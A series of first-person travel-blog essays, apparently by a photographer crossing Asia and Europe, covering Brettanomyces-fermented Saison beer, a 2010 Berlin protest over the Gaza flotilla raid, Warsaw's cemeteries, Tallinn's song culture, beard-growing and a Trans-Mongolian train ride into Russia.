Traditionally these seasonals were brewed in the winter for use the following summer. To keep alcohol content low and worker production up, they were occasionally blended with their Lambic cousins, themselves left to spontaneously ferment outside between April and May by catching the wild yeasts floating about on spring breezes. One of the most important of which turned out to Brettanomyces bruxellensis (identified in 1904 by Carlsberg brewers as the cause of British Ale spoilage, naming it Belgian British Fungus). A wild strain that has since been domesticated, it lives on the skins of fruit, and imparts the typically dry, fruity flavors found in Lambic. Despite its generally favorable reception, its flavor has also been described as “sweaty saddle leather”, “barnyard”, “burnt plastic” or even “band-aid” and is figured to cause 90% of wine spoilage, although apparently French winemakers are noted for not particularly minding the flavor. This embattled strain of wild yeast has been used in the genesis of brewing of many American Saison-style brews, such as Saison Brett, the Kansas City-based Boulevard Brewing’s Saison / Farmhouse Ale. The jacket reads:

Our gold medal winning Saison (Mondial de la Biere, Montreal, 2008) was the starting point for this limited edition ale. It was then dry-hopped, followed by bottle conditioning with various yeasts, including Brettanomyces, a wild strain that imparts a distinctive earthy quality. Though this farmhouse ale was given three months of bottle age prior to release, further cellaring will continue to enhance the ‘Brett’ character, if that’s what you’re after.

As most beer drinkers, I am no apologist for my homeland’s failed foreign policies nor corn-flavored lagers. yet given the choice between having my choice of high end Belgium Trappist Ales and tabling a few brews amongst friends at the local pub, I choose the table, the talk, the the sweaty saddle leather, the barnyard generic golden pils-style pale lager invented in earnest and mass-produced to death. Because amongst friends, even in mass-produced, corn-syrupy dilution, the magic is there. Perhaps that is just the ‘Brett’ character, but I choose the magic.

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Building new walls in Berlin

The Quadrige atop Brandenburg Gate, Berlin
The Quadriga atop Brandenburg Gate, Berlin

The Quadriga atop Brandenburg Gate, Berlin

It was there when another well-known wall was built in 1961, and when the same was torn down in 1989. It has seen two centuries of some of the best and worst world leaders stand on its border, decrying this and that. Once part of a longer wall itself, it is modeled after a main part of the Propylaea, the gateway to the Athenian Acropolis, and topped with the Quadriga, a chariot drawn by four horses driven by Nike, the Winged Goddess of Victory. It has been a major metaphor in the world’s collective consciousness since it was built in the late 18th century as part of the Prussian celebration of itself. It is the Brandenburg gate and it was the scene of one of hundreds of massive protests against the Israeli Raid on the Gaza-Bound Flotilla in June of 2010.

If you haven’t been, Berlin is a remarkable, and vast, city. Big as it is, in the ten years that has elapsed since I was last there, the immense facelift the city has undergone has made it even more attractive while keeping it amazingly maneuverable, something difficult for Americans to believe. Exiting the ultra-modern Berlin Hauptbahnhof, crossing the River Spree on the banks of which lazed several hundred locals taking in the warm sun with beer and wine, I came to the nearby renovated Reichstag and managed to ascend to the large cylindrical viewing terrace, from where I eventually heard the collective voices of hundreds chanting screeds in unison to the cries of an indecipherable (although Ich spreche kein Deutsch) man shouting into a bullhorn coming from the just beyond the trees near Tiergarten Central Park. Curious, I left the tourists behind me at the refurbished Parliament building and approached the Brandenburg Gate, one of the old borders between East and West Berlin. Passing through the gate itself, marveling at its design, the crowd’s chanting crescendoed, erupting into cheers when I entered the packed Pariser Platz. I couldn’t help but feel awed by the sheer history of it all, though what I saw next will likely not be history for some time.

Hundreds protest Isaeli attack on Gaza-bound Flotilla

Hundreds protest Isaeli attack on Gaza-bound Flotilla

Not understanding what they were saying, nor having any clear idea what was actually being protested, and despite not having checked the news for days, it was quickly clear that a great number of Palestinians, Turks, Syrians (identifiable by their flags) and others were extremely unhappy about something probably involving Israel, or so their signs read. A large formation of riot-geared police resembling robocops were frowning at the perimeter, while their superiors stood in front of the local Starbucks, smoking and drinking coffee near other Middle Eastern families who did the same, looking on like curious animals. Loading my camera with a fresh roll of film I began snapping photos and realized that I was quite unprepared to cover any protest with what equipment I was carrying: a medium format Fuji GSWIII rangefinder which produces eight 6x9cm images per roll of 120mm film.

Despite being woefully under-equipped I felt at ease and quite a bit more accepted within the surging Muslim crowd dressed in hijabs and kuffiyehs, more at home with the protesters, given free reign to shoot as I pleased by them as opposed to the stoic and disapproving police video-taping people from the edge of the cobblestone-lined square.

Syrian woman stands before German Polizei in Pariser Platz

Syrian woman stands before German Polizei in Pariser Platz

Asking a Syrian woman boasting her birth country’s flag, I quickly got the details:

“These hundreds of people are gathered here in Pariser Platz beneath Brandenburg Gate today (Friday, June 4th 2010) to protest the Israeli raid on six ships comprising the the Gaza-bound Freedom Flotilla, carrying more than 600 hundred passengers. They killed nineteen people and injured hundreds. This is unacceptable. They must be stopped!”

The attack, which occurred approximately 65 kilometers of the Gaza coast in international waters, has been condemned worldwide and has brought well-deserved attention to what some call at minimum an illegal blockade, yet one that the Likud government spokesman Mark Regev maintains “was totally within its rights under international law to intercept the ship and to take it to the port of Ashdod”. Much more than just another “incident” within controversial areas many are unwilling to wade into, the use of what the majority of the protesters deem to be unnecessarily deadly force against boatloads of international journalists and writers as well as the death of nine Turkish activists, has gotten the attention of Turkey, Israel’s biggest trading partner and up to now, most trustworthy regional ally.

None of the police ruminating outside of Starbucks were willing to comment. Though many of the protesters were willing to decry Israel’s claims to homeland security after the unilateral action by its military. Just as many seemed apolitical, there merely to support their friends, family and fellow countrymen.

Just as soon as I had seen a fraction of the new Berlin (without the hundreds of cranes towering above the skyline of a decade ago), where the multi-ethnic citizens use of freedom of speech seemed equal to or greater than anything in my own personal experience, I realized that more than just the usual protest, something massive was being stirred, an immense stand was being taken, with a greater number of countries involved than ever before, one from which we won’t emerge unaffected nor unscathed. Despite having had an overnight bus to catch to Copenhagen, an article to write and negatives to develop, this felt realer than more of the same supposed unbiased reportage to which I was accustomed in the U.S. and Japan. Perhaps it can be written off as liberal leaning western Europe, perhaps not. I still had to look deep to see that there was no clear understanding emerging from the ashes of the wreckage, no simple cut and dried answer, no unaffected people, no clear right and wrong. The problem of the disenfranchised shouting from the periphery is growing louder as more and more people are become involved in everyday protests, some violently, even fatally so. I have to ask myself that even as we deem some walls fit to tear down, why are others so easily built up, often by ourselves?

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The Dead Dance in Warsaw

poland_proselytiser
The Dead Haunt Warsaw

The Dead Haunt Warsaw

When the question, “Why did you come to _______?” inevitably gets asked upon chatting with newly met strangers in strange lands, some, like the Japanese, seem boastful and even a bit pompous about their country’s attractiveness, whereas the Polish, when it was asked, seemed to be wondering why I would come to Warsaw at all.

“Go to Krakow. There is the culture.” is what they would say.

This brings us to a major point as to the point of The Trip™. In trekking from Japan to California (Leg one) the initial plan was not to “go” to places so much as it was to take the route of least resistance which would lead me from Point A (Kyoto) to Point Z (California). All such locales in between, though important parts on the journey, would be peripheral to the journey itself. Going to visit some thing anywhere, in effect sight seeing, is not a part of the trip. If I were to pass a site worth seeing, so be it, but I do not go out of my way, of the path as it were, to see anything. This has the effect of chronologizing all of my photographs as one long road, connecting Kyoto to California by the simple footfalls I make as I logically pass from place to place.

How then, do I make the decisions of where to go next? Or more aptly said, how are the decisions made? In a word, logically. In crossing continents, there are ways to efficiently travel from place to place, just as there are ways of, as my grandmother says, dilly-dallying. In unpopulated Central Asia, there is an established way to get from China to Mongolia, from Mongolia to Russia, and from Russia to Europe, by bypassing the large swaths of open steppe, mountain and desert where little can survive without help. Once in Europe the choices become more diverse as the road diverges toward all points of the compass. At this point it is helpful to have an endpoint. Mine was the western coast of the Atlantic Ocean on the French side of the English Channel. Once out of Russia, the way in which one might travel from Estonia to France is largely capricious and based upon whim, flights of fancy and, of course, money.

So why Poland? From Estonia, there are few ways to travel through Europe except through Poland. Let me be precise, there are few inexpensive ways to travel through Europe. I could have ferried to Helsinki, trained to Turku where I would have transferred to the overnight ferry to Stockholm, where the train to Copenhagen runs several times daily. Though that would have a great way to see the Nordic countries and the beauties held within, but that is for wealthy retirees and chionophiles. More apt and less expensive is the lesser traveled Europe of the northeast: Poland and its capital, Warsaw.

The Dead Haunt Warsaw

The Dead Haunt Warsaw

What is there to say about Warsaw? About Poland?

Maybe more than any other European country has the Poland of the last one hundred years had its sovereign rights violated, suffered injustice at the hands of its neighbors, and seen generations of its old  and young robbed of their vitality and chance at happiness. Such death and destruction is the last thousand years of European history. And perhaps due to teetering on the brink of complete annihilation, such meaningless slaughter has finally taught Europe that the obvious choice, that of life, is the only one.

Regardless of the future, reminders of the past remain commonplace in that favorite of European landmarks, the cemetery. Poland, and specifically Warsaw, certainly has a cemetery to rival that of Paris’ Pere Lachaise, putting it in the running for world’s greatest. Powązki Cemetery, just north of the infamous Okopowa Street Jewish Cemetery, houses the mass graves from the World War II Warsaw Ghetto massacres. So many Poles were killed during the Nazi occupation and the subsequent Soviet subjugation that these cemeteries are a very large part of the city and Polish society in general.

At their heart of these cities of the dead exists a very lively religious faith. Poland rivals Malta, Greece and Portugal as the most devout European countries (maybe surprisingly, the home of the bishop of the Roman Catholic church, Italy, lags behind) and despite downpours, demonstrated this with a massive showing of attendees to the citywide Corpus Christi processions. Surrounding the cemeteries are ramshackle markets, dilapidated buildings and weed-covered remnants and anachronistic statues of the Soviet era. Regardless of the ever-present cities of the dead, signs of life persist.

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Estonia – Country of Song

estonia_guidegirl
Estonian Landmarks

Estonian Landmarks

Estonia is one of those places that no one ever thinks about. I never did. Not until I arrived there by bus- a mere seven hours after leaving St. Petersburg- one typically rainy summer morning on the Baltic Sea. More than Russia or other vaguely Eastern European countries of which some inkling of a preconceived notion has been built up by merely being alive for some period of time during the end of the cold war, I had no idea what to expect. Mostly because there had been no image put there by the media, history books or sixteen years of schooling my western mind. I came to find out that this is much how Estonians like it: left alone with their freedom (and their marzipan).

Much of Estonia’s existence has not been free. An area roughly the size of New Hampshire and Vermont combined, the phrase “between a rock and a hard place” comes to mind when picturing the tiny country as it sat geographically in the 1930s: Hitler’s Germany to the west and Stalin’s USSR to the east. For hundreds of years before that the Danes and Swedes battled it out for control of the more than 1500 tiny islands in one of the oldest settlements of Europe. Just as mama told me growing up, “Life ain’t fair,” how does one fight dictator driven genocides and years of totalitarian domination?

If you are Estonian, you sing.

Watching the The Singing Revolution (2006) by American husband and wife team James and Maureen Castle Tusty (both of Estonian heritage), is the best way to get a crash course in Estonian history, culture and Laulupidu, the Estonian Song Festival. In 1999 the pair went to the capitol of Tallinn (after less than a decade of independence from Soviet rule) to interview and film an essential historical document about a country few know anything about. Interspersing excerpts of the past and interviews with survivors who successfully sang for their freedom from 1988 to 1991 -when they declared themselves a sovereign nation- the documentary is surprisingly captivating and not at all sentimental. A great insight into the indomitable spirit of a beautiful land and its (women) people.

Estonian Landmarks

Estonian Landmarks

Sipping a local draught in a courtyard bar in Tallinn, capital of Estonia, in the old town square, it’s easy to lose track of time. One of the smallest capitals in Europe, my guide Olga (one of the many Russian nationals left behind after the USSR left) showed me around town, walking from end to end in about an hour. Plying me with as much information as smiles we toured the main square, in the north-northwest end of the city, along the cobblestones and 600 year-old medieval architecture, all the way to the Alexander Nevsky Cathedral crowning the hilltop of Toompea, where the panorama of the old city stuck up against the cranky Baltic Sea, and from where, I suspect, comes all this spewing rain and wind, is a European highlight. Easily one of the friendliest places in Europe, and despite not being the most accessible , the place is crawling with tourists, mostly Spanish, who prowl the numerous artisan shops, and soak themselves in the local wines and ales at the many sidewalk cafes. Gobbling marzipan (locals claim the invention of “Martin’s Pan” dating back more than 600 years), Olga tells me about the city’s history, remarks on the generally chilly summer, and can’t say enough about all the soundtrack of perpetual live music and song that is the Estonian way of life.

[singlepic id=337 w=200 h= mode=web20 float=left]As the hour gets late and Olga smiles her way off into the cobblestone sunset, I wander around the old town taking photographs and swigging on my flask of Russian Vodka. Caught between my incessant westward forward progress and the flavor of St. Petersburg on my tongue, I take a moment to realize that longitudinally, this is as far north as I have ever been. I am obsessed with how late the sun is up. Watching the last rays of sun shine down on Tallinn at 2am, I am reminded of drunkenly running around Paris a decade ago on the summer solstice with the last shades of sun still painting the sky at 11 p.m. And despite the late hour and the fetching aroma of Olga’ s eau de toilette still on my hands, I am absorbed hearing people singing in the distance, song soaring throughout the venerable alleyways. Paris may be the City of Light, but Tallinn is the City of Song.

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In Beard We Trust

The Beard in the bathroom aboard the Trans-Mongolian Express en route to Ulan Bator

“There are two kinds of people in this world that go around beardless—boys and women—and I am neither one.” -Greek aphorism

The Beard in the bathroom aboard the Trans-Mongolian Express en route to Ulan Bator

The Beard in the bathroom aboard the Trans-Mongolian Express en route to Ulan Bator

The idea to grow a beard is not such an arduous task-when you first have to shave at thirteen, can buy beer (and condoms to pass it off) with a week’s growth at sixteen, date a few upperclass intellectual hottees at the tender age of eighteen-it’s just as natural as putting on pants or eating cheese.

That is of course just the idea of growing a beard. The reality is another thing entirely. The difference between a few days’ growth (lazy), a few weeks (really lazy), and a few months (tying to break up with your girlfriend) is the difference between men and boys. The main reason why most men (or their associated women-folk) can’t get beyond Don Johnson’s three-day Miami Device is not the filthiness, crudeness, or eccentric disposition often associated with facial hair, epsecially on the west coast of the United States, but simply because facial hair- aka Sideburns, Chinstraps, Donegals, Garibaldis, Goatees, Juncos, Hollywoodians, Reeds, Royales, Impériales, Stubbles, Van Dykes, Verdis, Neckbeards or Neards (my favorite), Soul patches, Stashburns, Friendly Mutton Chops, French beards or Bulgans, i.e. what is known as the “Full downward flowing beard with either styled or integrated moustache”- is simple: it’s itchy as heck.

Cue winter 2005. Living in Fukuoka- the biggest prefecture of the south-western island Kyushu, as well as the original destination for the atomic bomb Fatman, somewhere between Hiroshima and Nagasaki, Japan- I was pretending to be an English teacher at a local high school for misanthropes when one day I received an invitation to join in Winter Beard.

Winter Beard…huh?

Nine or so guys (and one dog), a camera, photoshop and a (sadly, now defunct) website: it sounded like something I could do with my eyes closed. I could grow a beard in my sleep. The conversation I had with myself soon thereafter went something like this:

Me: I am the one living in mountainous Japan, a place where it actually snows, as opposed to the moderate climes of southern California, I should have something to protect my face from the cold.

The Other Me: Your opponents are working in the entertainment industry, i.e., Hollywood. They have reputations to uphold. Their looks are their business cards.

Me: Hollywood? They’re animators, designers and work with video games. They sit in front of their computers most of the day. No one cares what they look like, especially their girlfriends. Most people expect them to look like a disheveled, straight George Michael…

The Other Me: They’re designers, digital masters, they trained in this. You, on the other hand, suck at photoshop.

Me: That may be so, but with my Gaelic blood I am facially haired like no other. Look, it almost connects to my chest hair…

A fond reminiscence of Japan in 2004, when we were young, innocent, bearded young ladies.

A fond reminiscence of Japan in 2004, when we were innocent, bearded young Asian teens.

Eventually finishing in second place (not for lack of length nor girth, but due to a lack of aforementioned mastery of machines) in the month-long competition (the dog did not finish last), my appetite for Friendly Mutton Chops had nonetheless been whet. And having become beard-dicted, I wore some variation of the Van Dyke on and off for the next five years. I was also single during most of this time.

When, in between facial hair revolutions, I did meet some sweet young lady who was willing to take a chance on me, it generally ended between the time they said, “I think you’d look good in a beard…” and the actual fact of it sprouting on my face. No big deal. So I learned to be alone with my man hair. After all, what do we remember from the bearded greats of history: Darwin, da Vinci, Socrates, and Zeus? Their women? Or attributes such as wisdom and knowledge, masculinity and high social status? Ok, Zeus, the olde-timey Olympian who knocked up half of humanity, is a bad example. Darwin was into animals. Socrates liked young men…maybe I’ve spoken too quickly. No, wait, da Vinci was a man of great creative and artistic ability, to say nothing of having a stately mane of flowing face growth that just oozed sexual virility. Am I wrong? I wonder if he had as much beard-ruff (beard dandruff) as I did…

In traveling across Asia and Europe I have seen many of the wonders which the world offers, walked many miles in the barren outlands and in my luckier moments, talked and broken bread with some of the finest people alive. Like a portly, useful Sancho Panza-like companion by my side, all this I have done with a beard on my face. In not a small way this has provided me a cushion of sorts, a sense of security into which I can reside in times of cold vulnerability, a friend to comfort me when missing the company of a fine lady, a place to catch any wayward bits of food.

The truth is that compared with eras of not so long ago, the beard has faded in popularity with the coming of recent, more technologically adept times. Whereas it is still acceptable in the chillier agrarian-based areas, it is generally seen an an unkempt, unnecessary affectation more and more the further one heads west. The U.S. armed forces declined comment, but has maintained a ban on beards beginning during the Vietnam war due to increased risk of napalm burns (and tick infestation, but they don’t say that too loudly), making wartime facial hair all but obsolete. This ban has seeped out from beneath the camouflage and into the modern consciousness. How?

To blame biased media coverage of, say, Brooklyn’s carnivalesque Williamsburg trust fund community, who happen to maintain alternative rock affiliations and pot bellies as characteristics of a growing majority of bearded malcontent young males, for skewing the perception of Middle Class Americans against what made us great as a country would be to insult Lincoln’s Chin Curtain (aka the Donegal)- the first facial hair in presidential history- which gave him the gravitas to lead a young nation through its darkest hour, Teddy Roosevelt’s handlebar moustache- just the thing to give a small-lipped man the courage to bust a gang-ridden New York, and then the world, into shape, and, jumping ahead a bit, let us not forget Thomas Magnum, who saved the beautiful women of Hawaii any number of embarrassing misadventures. America is a country founded on the curlicues of cheeks and jowls alike- Damn the naysayers- In Beard We Trust!

Sigh.

If only life were a forty-four minute CBS drama in the 80s. As it stands, beards in the United States of America, and in the borderless Internet Culture Mall in general, have run on hard times. Most people these days associate hair on faces as a religious anachronism (Amish, Sadhus, Hasids and Islamists), a cartoonish prop of left-wing revolutionaries (Castro, Lenin, Zapata), somehow related to criminal violence (Hell’s Angels, Cat Burglars), or alternatively something that hippies (Tommy Chong, Jesus) are born with. Despite several creative individuals zealous attempts at hitting the B-spot of nicknaming this wayward bearded traveler, the ever-changing Great Beard of Manny resists classification. It still seems that people have yet to learn that when something happens of its own accord, like water flowing, air breezing, or men ogling boobies, that that’s the way it should be.

I leave you with a quote from the French Naturalist Comte de Buffon in his Histoire Naturelle, “They have no…ardor for the female,“ who then goes on to describe their reproductive organs as “small and feeble.”

He was talking about the clean-shaven. Winter or summer, spring and fall: Grow’em if you got’em.

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http://www.beards.org/

Russia: Where Beards & Mail Order Brides Come From, Natch

The monuments of the old mother (Manny Santiago)

“We are not Asia. We are not western Europe. We are just Russia. Why do we have to be like this or like that? We are just Russians. We have our own civilization, our own alphabet, our own language, everything our own.”

-Victor Bodarenko, Publisher (Art of Russia, Andrew Graham-Dixon)

St. Basil

What to write about Russia that hasn’t already been written thousands of time, more eloquently by more talented men? In my first attempt (which I scrapped) I started with a truncated history lesson, which quickly fell apart when I realized I didn’t know some pretty big things about the biggest country in the world. Which begs the question: what do we really know about Russia? Beside Vodka, Mail Order Brides and Kalishnakovs. I’m pretty sure we- being anyone born during the Reagan regime which promoted commodifying natural resources, deregulating economic oversight of corporations, and racing to outspend the Soviets in order to topple the Berlin Wall for the Free Market Economy to go global- don’t know much that isn’t pure propaganda. Or out of a John le Carré spy novel or a Tom Clancy techno-thriller. So it was with much trepidation I wrote the following excerpt in my journal while seated in my compartment on the Trans-Mongolian Express en route to Irkutsk from Ulan Bator:

It is helpful to not over-analyze the situation into which you are about to dive headlong. If only to tame the growing inkling of a hunch that you are way out of your depth here and would do well to apply swift pressure to the emergency brakes and exit the vehicle rushing through frozen steppeland toward the Siberian border. You could always find a way to go around. China to Tibet, into Nepal, through India and then up through…hmmm. Well, there are always the Stans to consider- Kazakh, Uzbek, Afghan, and all the others- maybe you could… Wait, you are just being silly. Though often one-way in the hey-day of the Gulag-bound Soviets, this is a well-traveled route taken by millions of people for well over a century. Your fellow train riders should at least be polite if not friendly, and ignore you if not spit on the capitalist red white and blue blood in your veins, if anything, but even that, nah…you’ve seen too many Cold War era B movies. Rich people fly first, hell, any class. Who takes the train any more? The salt of the earth. Hah, people with no better choice is who. People, tovarich, like you. Give in to it. Accept your fate. Sit back in your second class seat and wait for Mother Russia to come to you. There’s likely to be some milk left in that great Slavic tit of hers, you could probably scrounge up some vodka around here somewhere, and there’s plenty of ice outside. White Russians anyone?

Like gossip heard around water coolers and soft mutterings whispered in corridors it is a risky thing to try to generalize about things which we don’t actually know to be true or false. So I demur to answer the tedious, “How was Russia? Was it like this…?” when asked by curious anecdote seekers, with easily categorizable sound bytes hearkening back to demeaning cold war era nicknames, but prefer to confuse with offerings of “Well, you know the Cossacks…” or “Once a commie, always a commie…”, simply for the fact that a ten-day transit visa through anywhere is tantamount to more confusion than clarity. What you get is a whirlwind of imagery that amalgamates into a liquor-tinged jambalaya that is nearly impossible to recall after the fact without at least some of the original conditions.

Hence, the bloody mary by my side.

From Beijing through Ulan Bator to Moscow, the Trans-Mongolian Express rolls on a Path of Blood (Manny Santiago)

From Beijing through Ulaan Baatar to Moscow, the Trans-Mongolian Express rolls on a Path of Blood

Five days of speeding through the frozen eastern steppes, where the derelict houses resemble those itinerant dwellings of Mongolia more than anything typically Russian (but the question is what is typical for Russia?) until the landscape gradually gives way to more and more grassland, allows one time to think beyond the stereotypes. The steppe folds back to reveal a rolling country of verdant foothills which herald the Ural mountains, the Eur-Asian continental divide. Random trees coalesce into great swaths of majestic forest. The faces of those provincial folk who live along the lifeline of the train track steadily change from dark to light. Where before animal husbandry was the norm, now crops are sowed and reaped. Buildings of a bygone era, mostly onion-domed orthodox churches and dilapidated nuclear reactors, dot the wild landscape more and more as the train persists in its caterpillar-like creep toward the cities of the west: Omsk, Ekaterinberg, Perm, Kazan, Nizhny-Novgorod, Moscow, St. Petersburg. Despite seeing and absorbing all of this and more, I have only myself for a guide, and have to go by appearances until something more substantial comes along.

Hence, the beard.

The Russians are well known for their beards. And their beard lore. Apparently Ivan IV (Mr. “Terrible”) believed it was due solely to the beard that Russia rose from antiquated medieval fiefdom to imperial nation-state. A few years later the thoroughly Europeanized Peter (Mr. “Great”) decreed that all Russian men had to shave their beards and levied fines if they did not. Though variations persist, from then on, no Russian leader would ever sport a full beard again. Trotsky and Lenin made the philosophical goatee popular throughout the Beat Generation and Stalin patented the bushy bigote that would later become Tom Selleck’s claim to fame: The Magnum.

Fresh Dill Pickles with Vodka (Manny Santiago)

Food from around the world

Whatever your stance on Russian politics, beards, etc., until you have been there, sporting at least a ten-day growth, you won’t know how at home you feel until you have stepped off the train after five days of green pastures into the central station maelstrom of babushkas hawking flowers and fresh herbs, Putin matroshkas on sale next to dollar packs of cigarettes, and emerge onto the shiny Benz and Rover-packed traffic snarled roads, wander past the wide soulless boulevards into the small canal-fed byway and happen upon an alley of cheaply built pubs and beer stands, where you are eating fresh dill pickles and drinking shots of vodka in plastic cups in a tree-lined public square in central Moscow as a makeshift electro-polka band strikes up gritty ditties, after which cute punk rock chicks come up with ruble-filled Converse asking for donations with smiles you can’t deny and the homeless looking men you’re talking to (but not understanding) keeps saying “Amerikanski” and gesturing to the sky with explosive blue eyes, you lean back, drain your cup, and pause to scratch your chin. It’s a natural movement. People think you look pensive or introspective. The truth is simple. Beards are itchy. You’re not an anachronism when half the men in the crowd are all synchronized scratchers, you are amongst your people, despite the language barrier. That’s what the food and drink is for. Given this level of camaraderie, your initial fears now seem unfounded. The thick fuzzy beats and accordion music start to meld with the thick, chilled vodka, those cute rocker girls have now doubled in numbers and are buzzing about like bees smiling and winking, and as you reach for the best pickle you’ve ever had, whilst simultaneously sliding into the pulsating vibrations of the zone of tremulous dancers, you let the midsummer night sun wash over you and you give in to the inevitable.

Hence, the ineffable Mother Russia.